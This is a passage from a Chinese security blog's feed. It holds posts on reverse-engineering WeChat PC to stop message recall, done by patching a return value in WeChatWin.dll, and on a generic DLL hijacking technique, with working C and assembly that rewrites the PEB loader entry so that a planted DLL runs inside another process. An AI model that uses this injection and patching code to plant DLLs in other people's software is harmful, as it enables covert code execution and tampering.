href=&quot;https://jq.qq.com/?_wv=1027&amp;amp;k=5ww6tlB&quot;&gt;753894145&lt;/a&gt;&lt;/p&gt; &lt;p&gt;欢迎关注技术公众号：&lt;strong&gt;&lt;span style=&quot;color:red&quot;&gt;汉客儿&lt;/span&gt;&lt;/strong&gt;&lt;br&gt;&lt;img src=&quot;/img/wx.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;微信PC端技术研究-保存聊天语音&lt;br&gt;by anhkgg（公众号：汉客儿）&lt;br&gt;2019年1月31日&lt;/p&gt; &lt;/blockquote&gt; &lt;h3 id=&quot;0x0-前言&quot;&gt;&lt;a href=&quot;#0x0-前言&quot; class=&quot;headerlink&quot; title=&quot;0x0. 前言&quot;&gt;&lt;/a&gt;0x0. 前言&lt;/h3&gt;&lt;p&gt;虽然一直知道CE，也用过一段时间，但一直用不好，可能太笨。&lt;/p&gt; &lt;p&gt;最近又学习了某位大佬用CE的方法，大佬的一句话有点醍醐灌顶，然后有了新的感觉，然后开始尝试实践这篇文章。&lt;/p&gt; &lt;p&gt;自己总结一下CE用法的核心思路：通过各种技巧搜索找到内存中关键数据，然后结合动态调试找到操作数据的函数。&lt;/p&gt; &lt;p&gt;准备工具：Cheat Engine，OllyDbg，IDA。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="reverse" scheme="https://anhkgg.github.io/tags/reverse/"/>            <category term="wechat" scheme="https://anhkgg.github.io/tags/wechat/"/>        </entry>      <entry>     <title>微信PC端技术研究-消息防撤销</title>     <link href="https://anhkgg.github.io/wechat-revoke/"/>     <id>https://anhkgg.github.io/wechat-revoke/</id>     <published>2018-12-01T03:32:27.000Z</published>     <updated>2019-03-09T01:51:45.286Z</updated>          <content type="html"><![CDATA[<p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> <blockquote> <p>微信PC端技术研究-消息防撤销<br>by anhkgg<br>2018年11月30日</p> </blockquote> <h2 id="0x1-写在前面"><a href="#0x1-写在前面" class="headerlink" title="0x1. 写在前面"></a>0x1. 写在前面</h2><p>不知道大家有没有遇到过这种情况，微信收到消息，但是没有及时查看，然后闲暇时去看的时候，消息被撤销了，撤销了！</p> <p>那时肯定是无比无语，挠心挠肺，究竟发了什么？</p> <p>有没有一种神器可以防消息撤销呢，有的！其实移动端和mac上已经有人做了相关的插件，但是PC端貌似没人来啃这块骨头。</p> <p>当然也可能是我没找到，不过不管怎样，对我来说就是没有。</p> <p>既然如此，小生来！</p> <a id="more"></a> <h2 id="0x2-技术分析"><a href="#0x2-技术分析" class="headerlink" title="0x2. 技术分析"></a>0x2. 技术分析</h2><p>先理一下思路：</p> <p>1.对方发送消息之后，我收到消息并在消息窗口显示<br/><br>2.然后对方点击菜单选择撤销<br/><br>3.我会收到发来的撤销通知，然后删除消息窗口显示的消息</p> <p>所以分析方向就基本定为两个方向了：</p> <p>1.一个是通过分析网络消息找到撤销消息，然后拦截该消息阻止消息被撤销<br/><br>2.另一个是找到撤销消息的界面操作，patch掉这个撤销消息的操作即可</p> <p>开始之前，先了解一下微信主要模块都实现什么功能。</p> <table> <thead> <tr> <th>模块</th> <th>功能</th> </tr> </thead> <tbody> <tr> <td>WeChat.exe</td> <td>主程序，初始化操作，加载WeChatWin.dll</td> </tr> <tr> <td>WeChatWin.dll</td> <td>主要功能模块，包括界面、网络、功能</td> </tr> <tr> <td>wechatresource.dll</td> <td>保存资源的模块，包括界面资源</td> </tr> </tbody> </table> <p>主要分析目标就是WeChatWin.dll，其实很早之前就想分析这个东西了，但是那时候的老版本vmp壳加的更严重（映像中是，无法考证），所以搁置很久。</p> <p>当前我分析的版本应该是最新的<code>2.6.5.38</code>，目前来看加壳程度还行，基本都是比较好分析的代码，没有经过加壳处理，不过听说核心代码还是处理过的。</p> <h3 id="1-界面入手"><a href="#1-界面入手" class="headerlink" title="1. 界面入手"></a>1. 界面入手</h3><p>首先试试从界面入手，都知道微信界面使用duilib实现的，所以可以从它的某些特征入手分析，比如字符串<code>click</code>等，可以快速找到功能函数。</p> <p>想的是通过<code>click</code>找到整个窗口响应函数，然后再分析找到撤销操作的代码位置。</p> <p>确实很快就看到了窗口响应函数，不过大概有119个相关函数，所以无奈放弃。</p> <p>换一个方向，通过菜单入手，搜索<code>menu</code>找到<code>menuCmdDelete</code>，<code>menuCmdRevoke</code>等字符串，<code>menuCmdRevoke</code>就是撤销菜单对应的名字。有29个相关函数，还行。结合调试，尝试了几个函数，果然找到了删除、撤销对应的响应函数。然后想通过删除菜单来找到删除界面消息的代码，而被撤销消息其实也是删除界面消息，不过折腾了一圈未果。</p> <h3 id="2-网络入手"><a href="#2-网络入手" class="headerlink" title="2. 网络入手"></a>2. 网络入手</h3><p>通过<code>recv</code>回溯到接收网络消息的函数中，40个，有点多。找了个tcp抓包工具，想抓到撤销消息的调用堆栈，结果一直被其他消息干扰，无果。</p> <h3 id="3-取巧"><a href="#3-取巧" class="headerlink" title="3. 取巧"></a>3. 取巧</h3><p>函数太多，分析很费实践，想看看有没有其他路可以走。在字符串中搜索<code>revoke</code>发现很多看起来有用的调试信息，不过也有79条之多。然后通过筛选和调试确认，找到了<code>On RevokeMsg svrId : %d</code>，然后回溯到撤销消息处理的函数中。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">if ( sub_10247BF0((wchar_t *)v258, (int)v259, (int)v260, v261) )</span><br><span class="line">&#123;                             &#x2F;&#x2F; 撤销消息</span><br><span class="line">*(_OWORD *)&amp;v259 &#x3D; xmmword_10E6A278;</span><br><span class="line">v257 &#x3D; xmmword_10E6A278;</span><br><span class="line">v256 &#x3D; xmmword_10E6A278;</span><br><span class="line">v255 &#x3D; xmmword_10E6A278;</span><br><span class="line">*(_OWORD *)&amp;v251 &#x3D; xmmword_10E6A278;</span><br><span class="line">sub_1007E090(&amp;v247, v353, SHIDWORD(v353));</span><br><span class="line">f_log_10471580(</span><br><span class="line">  (int)&quot;02_manager\\SyncMgr.cpp&quot;,</span><br><span class="line">  2,</span><br><span class="line">  1357,</span><br><span class="line">  (int)&quot;SyncMgr::doAddMsg&quot;,</span><br><span class="line">  (int)&quot;SyncMgr&quot;,</span><br><span class="line">  &quot;On RevokeMsg svrId : %d&quot;,</span><br></pre></td></tr></table></figure> <p>经过调试发现<code>sub_10247BF0</code>返回1则进入撤销消息处理中，消息被撤销，跳过此段代码，消息不会被撤销，所以patch掉<code>sub_10247BF0</code>这个函数的返回值使其一直为0即可完成防撤销的功能。</p> <p>当然也不能太随意了，还是看看这个函数大概做了些什么处理吧。关键参数第一个，调试中发现值如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;sysmsg type&#x3D;&quot;revokemsg&quot;&gt;</span><br><span class="line">    &lt;revokemsg&gt;</span><br><span class="line">        &lt;session&gt;wxid_0811111140112&lt;&#x2F;session&gt;</span><br><span class="line">        &lt;msgid&gt;1111000048&lt;&#x2F;msgid&gt;</span><br><span class="line">        &lt;newmsgid&gt;11411701182813217&lt;&#x2F;newmsgid&gt;</span><br><span class="line">        &lt;replacemsg&gt;&lt;![CDATA[&quot;xxx&quot; 撤回了一条消息]]&gt;&lt;&#x2F;replacemsg&gt;</span><br><span class="line">    &lt;&#x2F;revokemsg&gt;</span><br><span class="line">&lt;&#x2F;sysmsg&gt;</span><br></pre></td></tr></table></figure> <p><code>sub_10247BF0</code>解析发现<code>type=&quot;revokemsg&quot;</code>即判断为撤销消息操作，返回1，很明了。</p> <p><strong>小结</strong>：此次分析运气较好，通过revoke找到关键代码，少花了很多时间，其实通过网络方向堆栈筛选确认应该也是可以找到这段代码的，但是通过结果去看，发现有近10层调用栈，肯定会花成倍的时间才能找到关键代码。</p> <h2 id="0x3-实现"><a href="#0x3-实现" class="headerlink" title="0x3. 实现"></a>0x3. 实现</h2><p>分析是为了最后能够用起来，所以用上一篇文章《一种通用Dll劫持技术》写了一个简单的包含patch代码（没有用hook）的dll模块，劫持微信的WeChatResource.dll来完成加载。</p> <p>关键代码如下所示，patch了<code>sub_10247BF0</code>返回值所在代码，让其eax永远为0。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">bool FakeRevokeMsg()</span><br><span class="line">&#123;</span><br><span class="line"> if (!IsSupportedWxVersion()) &#123;</span><br><span class="line">  return false;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> &#x2F;&#x2F;33 C0                xor eax,eax </span><br><span class="line"> BYTE code[] &#x3D; &#123; 0x33, 0xc0, 0x90 &#125;;</span><br><span class="line"> HMODULE hMod &#x3D; GetModuleHandle(WECHATWINDLL);</span><br><span class="line"> DWORD offset &#x3D; 0x247EF1;&#x2F;&#x2F;返回值处</span><br><span class="line"> if (!hMod) &#123;</span><br><span class="line">  return false;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> PVOID addr &#x3D; (BYTE*)hMod + offset;</span><br><span class="line"> Patch(addr, 3, code);</span><br><span class="line"></span><br><span class="line"> return true;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>最后惯例，放上github地址：<a href="https://github.com/anhkgg/SuperWeChatPC">https://github.com/anhkgg/SuperWeChatPC</a></p> <p>转载请注明出处：<a href="https://anhkgg.com/wechat-revoke">https://anhkgg.com/wechat-revoke</a></p> <p>公众号文章链接：<a href="https://mp.weixin.qq.com/s/E7N6LzAH4p88Gu4f_qwGlg">https://mp.weixin.qq.com/s/E7N6LzAH4p88Gu4f_qwGlg</a></p> <p>欢迎关注公众号：<strong>汉客儿</strong>或加入QQ交流群：<strong>753894145</strong></p> ]]></content>          <summary type="html">            &lt;p&gt;欢迎关注技术公众号：&lt;strong&gt;&lt;span style=&quot;color:red&quot;&gt;汉客儿&lt;/span&gt;&lt;/strong&gt;&lt;br&gt;&lt;img src=&quot;/img/wx.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;微信PC端技术研究-消息防撤销&lt;br&gt;by anhkgg&lt;br&gt;2018年11月30日&lt;/p&gt; &lt;/blockquote&gt; &lt;h2 id=&quot;0x1-写在前面&quot;&gt;&lt;a href=&quot;#0x1-写在前面&quot; class=&quot;headerlink&quot; title=&quot;0x1. 写在前面&quot;&gt;&lt;/a&gt;0x1. 写在前面&lt;/h2&gt;&lt;p&gt;不知道大家有没有遇到过这种情况，微信收到消息，但是没有及时查看，然后闲暇时去看的时候，消息被撤销了，撤销了！&lt;/p&gt; &lt;p&gt;那时肯定是无比无语，挠心挠肺，究竟发了什么？&lt;/p&gt; &lt;p&gt;有没有一种神器可以防消息撤销呢，有的！其实移动端和mac上已经有人做了相关的插件，但是PC端貌似没人来啃这块骨头。&lt;/p&gt; &lt;p&gt;当然也可能是我没找到，不过不管怎样，对我来说就是没有。&lt;/p&gt; &lt;p&gt;既然如此，小生来！&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="wechat" scheme="https://anhkgg.github.io/tags/wechat/"/>            <category term="anti-revoke" scheme="https://anhkgg.github.io/tags/anti-revoke/"/>        </entry>      <entry>     <title>一种通用Dll劫持技术研究</title>     <link href="https://anhkgg.github.io/dllhijack/"/>     <id>https://anhkgg.github.io/dllhijack/</id>     <published>2018-11-29T09:45:46.000Z</published>     <updated>2019-11-14T06:31:33.918Z</updated>          <content type="html"><![CDATA[<p>QQ交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> <blockquote> <p>通用DLL劫持技术研究<br/><br>by anhkgg<br/><br>2018年11月29日<br/></p> </blockquote> <h2 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h2><p>Dll劫持相信大家都不陌生，理论就不多说了。Dll劫持的目的一般都是为了自己的dll模块能够在别人进程中运行，然后做些不可描述的事情。</p> <p>为了让别人的程序能够正常运行，通常都需要在自己的dll中导出和劫持的目标dll相同的函数接口，然后在自己的接口函数中调用原始dll的函数，如此使得原始dll的功能能够正常被使用。导出接口可以自己手工写，也可以通过工具自动生成，比如著名的<code>Aheadlib</code>。这种方法的缺点就是针对不同的dll需要导出不同的接口，虽然有工具帮助，但也有限制，比如不支持x64。</p> <a id="more"></a> <p>除此之外，很早之前就知道一种通用dll劫持的方法，原理大致是在自己的dll的dllmian中加载被劫持dll，然后修改loadlibrary的返回值为被劫持dll加载后的模块句柄。这种方式就是自己的dll不用导出和被劫持dll相同的函数接口，使用更加方便，也更加通用。</p> <p>下面就尝试分析一下如何实现这种通用的dll劫持方法。</p> <h2 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h2><p>随便写一个测试代码：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;mydll.dll 伪造的用于劫持mydll.dll的dll代码</span><br><span class="line">&#x2F;&#x2F;mydll.dll.1是把test.exe加载的原始dll修改为这个名字</span><br><span class="line">BOOL APIENTRY DllMain( HMODULE hModule,</span><br><span class="line">                       DWORD  ul_reason_for_call,</span><br><span class="line">                       LPVOID lpReserved</span><br><span class="line">                     )</span><br><span class="line">&#123;</span><br><span class="line">    switch (ul_reason_for_call)</span><br><span class="line">    &#123;</span><br><span class="line">    case DLL_PROCESS_ATTACH:</span><br><span class="line">        __debugbreak();</span><br><span class="line">        HMODULE hmod &#x3D; LoadLibraryW(&quot;mydll.dll.1&quot;);</span><br><span class="line">    case DLL_THREAD_ATTACH:</span><br><span class="line">    case DLL_THREAD_DETACH:</span><br><span class="line">    case DLL_PROCESS_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">    return TRUE;</span><br><span class="line">&#125;</span><br><span class="line">&#x2F;&#x2F;test.exe</span><br><span class="line">void main()</span><br><span class="line">&#123;</span><br><span class="line">    LoadLibraryW(L&quot;mydll.dll&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>用windbg加载看看堆栈，如下所示。在test中通过LoadLibraryW加载mydll.dll，最后进入mydll!DllMain。现在需要分析系统映射dll之后是如何把基地址返回给LoadLibraryW，然后才能想办法把这个值给修改成加载mydll.dll.1的值。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; kvn</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">WARNING: Stack unwind information not available. Following frames may be wrong.</span><br><span class="line">00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d</span><br><span class="line">01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec</span><br><span class="line">02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13</span><br><span class="line">03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14</span><br><span class="line">04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])</span><br><span class="line">05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])</span><br><span class="line">06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])</span><br><span class="line">07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])</span><br><span class="line">08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])</span><br><span class="line">09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5</span><br><span class="line">0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e</span><br><span class="line">0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105</span><br><span class="line">0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918</span><br><span class="line">0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9</span><br><span class="line">0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])</span><br><span class="line">0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])</span><br><span class="line">10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])</span><br></pre></td></tr></table></figure> <p>先去reactos翻看一下，找到如下的函数调用结构。在LdrLoadDll参数中BaseAddress就是最后返回给LoadLibraryW的值，所以继续看BaseAddress是如何赋值的。BaseAddress继续传给LdrpLoadDll，在LdrpLoadDll中，首先通过LdrpMapDll映射dll模块，返回一个LdrEntry的LDR_DATA_TABLE_ENTRY结构，保存了dll加载的基址、大小、名字等信息。接着LdrEntry会插入到peb-&gt;ldr链表结构中，然后调用LdrpRunInitializeRoutines，在LdrpRunInitializeRoutines中最终会调用DllMain，此处不继续深入分析。最后LdrEntry-&gt;DllBase赋值给BaseAddress。到此流程分析清楚，下面考虑如何修改这个值。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS</span><br><span class="line">NTAPI</span><br><span class="line">LdrLoadDll(IN PWSTR SearchPath OPTIONAL,</span><br><span class="line">           IN PULONG DllCharacteristics OPTIONAL,</span><br><span class="line">           IN PUNICODE_STRING DllName,</span><br><span class="line">           OUT PVOID *BaseAddress) &#123;</span><br><span class="line">               Status &#x3D; LdrpLoadDll(RedirectedDll,</span><br><span class="line">                         SearchPath,</span><br><span class="line">                         DllCharacteristics,</span><br><span class="line">                         DllName,</span><br><span class="line">                         BaseAddress,</span><br><span class="line">                         TRUE);</span><br><span class="line">           &#125;</span><br><span class="line"></span><br><span class="line">NTSTATUS</span><br><span class="line">NTAPI</span><br><span class="line">LdrpLoadDll(IN BOOLEAN Redirected,</span><br><span class="line">            IN PWSTR DllPath OPTIONAL,</span><br><span class="line">            IN PULONG DllCharacteristics OPTIONAL,</span><br><span class="line">            IN PUNICODE_STRING DllName,</span><br><span class="line">            OUT PVOID *BaseAddress,</span><br><span class="line">            IN BOOLEAN CallInit)</span><br><span class="line">            &#123;</span><br><span class="line">                Status &#x3D; LdrpMapDll(DllPath,</span><br><span class="line">                            DllPath,</span><br><span class="line">                            NameBuffer,</span><br><span class="line">                            DllCharacteristics,</span><br><span class="line">                            FALSE,</span><br><span class="line">                            Redirected,</span><br><span class="line">                            &amp;LdrEntry);</span><br><span class="line"></span><br><span class="line">                 &#x2F;&#x2F;插入peb-&gt;ldr链表</span><br><span class="line"></span><br><span class="line">                Status &#x3D; LdrpRunInitializeRoutines(NULL);</span><br><span class="line"></span><br><span class="line">                if (NT_SUCCESS(Status))</span><br><span class="line">                &#123;</span><br><span class="line">                    &#x2F;* Return the base address *&#x2F;</span><br><span class="line">                    *BaseAddress &#x3D; LdrEntry-&gt;DllBase;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;    </span><br><span class="line"></span><br><span class="line">LdrpRunInitializeRoutines-&gt; LdrpCallInitRoutine -&gt; DllMain</span><br></pre></td></tr></table></figure> <p>记得映像中的那种方法，是通过堆栈回溯到LdrpLoadDll中，找到LdrEntry进行修改（不确实是否准备，时间久远了），但因为LdrEntry是局部变量，不同系统可以不一样，兼容性差一些。但看到这个调用流程之后，其实还有另一种方式。LdrEntry-&gt;DllBase赋值给BaseAddress，那么在赋值之前把这个LdrEntry-&gt;DllBase修改了即可，在DllMain正好是修改的时机，但是不需要使用堆栈回溯的方式。因为LdrEntry已经插入到peb-&gt;ldr中，那么在DllMain中可以直接获取peb-&gt;ldr遍历链表找到目标dll堆栈的LdrEntry就是需要修改的LdrEntry，然后修改即可。</p> <p>不过这个分析都是基于reactos来的，还是需要确认一下真是windows系统的ntdll是如何首先的。</p> <p>在win7 x64系统中，ntdll的关键代码如下所示。差别是LdrpLoadDll直接返回的ldrentry，而不是BaseAddress，在LdrpLoadDll内部流程基本和reactos一致。所以方案应该可行，后续验证确实证明可行。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">int __fastcall LdrLoadDll()</span><br><span class="line">&#123;</span><br><span class="line">v11 &#x3D; LdrpLoadDll(v5, v9, v10, 1, 0i64, &amp;dataentry);</span><br><span class="line">  v12 &#x3D; v11;</span><br><span class="line">  if ( v11 &gt;&#x3D; 0 )</span><br><span class="line">    *dllbase &#x3D; dataentry-&gt;DllBase;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <h2 id="尝试实现"><a href="#尝试实现" class="headerlink" title="尝试实现"></a>尝试实现</h2><p>实现其实非常简单，关键代码如下所示。两部分代码，一个是加载原始dll模块（mydll.dll.1）拿到真是的模块句柄hMod（基地址），第二个就是遍历peb-&gt;ldr找到mydll.dll的ldrentry，然后修改dllbase为hMod。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">void* NtCurrentPeb()</span><br><span class="line">&#123;</span><br><span class="line"> __asm &#123;</span><br><span class="line">  mov eax, fs:[0x30];</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line">PEB_LDR_DATA* NtGetPebLdr(void* peb)</span><br><span class="line">&#123;</span><br><span class="line"> __asm &#123;</span><br><span class="line">  mov eax, peb;</span><br><span class="line">  mov eax, [eax + 0xc];</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line">VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)</span><br><span class="line">&#123;</span><br><span class="line"> WCHAR wszDllName[100] &#x3D; &#123; 0 &#125;;</span><br><span class="line"> void* peb &#x3D; NtCurrentPeb();</span><br><span class="line"> PEB_LDR_DATA* ldr &#x3D; NtGetPebLdr(peb);</span><br><span class="line"></span><br><span class="line"> for (LIST_ENTRY* entry &#x3D; ldr-&gt;InLoadOrderModuleList.Blink;</span><br><span class="line">  entry !&#x3D; (LIST_ENTRY*)(&amp;ldr-&gt;InLoadOrderModuleList);</span><br><span class="line">  entry &#x3D; entry-&gt;Blink) &#123;</span><br><span class="line">  PLDR_DATA_TABLE_ENTRY data &#x3D; (PLDR_DATA_TABLE_ENTRY)entry;</span><br><span class="line"></span><br><span class="line">  memset(wszDllName, 0, 100 * 2);</span><br><span class="line">  memcpy(wszDllName, data-&gt;BaseDllName.Buffer, data-&gt;BaseDllName.Length);</span><br><span class="line"></span><br><span class="line">  if (!_wcsicmp(wszDllName, dllname)) &#123;</span><br><span class="line">   data-&gt;DllBase &#x3D; hMod;</span><br><span class="line">   break;</span><br><span class="line">  &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line">VOID DllHijack(HMODULE hMod)</span><br><span class="line">&#123;</span><br><span class="line"> TCHAR tszDllPath[MAX_PATH] &#x3D; &#123; 0 &#125;;</span><br><span class="line"></span><br><span class="line"> GetModuleFileName(hMod, tszDllPath, MAX_PATH);</span><br><span class="line"> PathRemoveFileSpec(tszDllPath);</span><br><span class="line"> PathAppend(tszDllPath, TEXT(&quot;mydll.dll.1&quot;));</span><br><span class="line"></span><br><span class="line"> HMODULE hMod1 &#x3D; LoadLibrary(tszDllPath);</span><br><span class="line"></span><br><span class="line"> SuperDllHijack(L&quot;mydll.dll&quot;, hMod1);</span><br><span class="line">&#125;</span><br><span class="line">BOOL APIENTRY DllMain( HMODULE hModule,</span><br><span class="line">                       DWORD  ul_reason_for_call,</span><br><span class="line">                       LPVOID lpReserved</span><br><span class="line">                     )</span><br><span class="line">&#123;</span><br><span class="line">    switch (ul_reason_for_call)</span><br><span class="line">    &#123;</span><br><span class="line">    case DLL_PROCESS_ATTACH:</span><br><span class="line">        DllHijack(hModule);</span><br><span class="line">        break;</span><br><span class="line">    case DLL_THREAD_ATTACH:</span><br><span class="line">    case DLL_THREAD_DETACH:</span><br><span class="line">    case DLL_PROCESS_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">    return TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>经测试在win7 x84和win10 x64中即是有效的，其他系统未测试，如果有问题，请留言或自行解决。</p> <p>害怕这种方案不行，还想了另一种思路，在dllmain中hook LdrpLoadDll的返回调用地址处，修改dataentry的值，因为LdrLoadDll函数接口固定，所以这种方式也应该是通用的，不过实现起来其实还比现在的麻烦些，所以只是保留了这种思路，并未去实现验证，留给爱折腾的朋友吧。</p> <p>最后，代码上传了github，<a href="https://github.com/anhkgg/SuperDllHijack">https://github.com/anhkgg/SuperDllHijack</a></p> <p>转载请注明出处：<a href="https://anhkgg.com/dllhijack/">https://anhkgg.com/dllhijack/</a></p> <p>公众号文章链接：<a href="https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg">https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg</a></p> 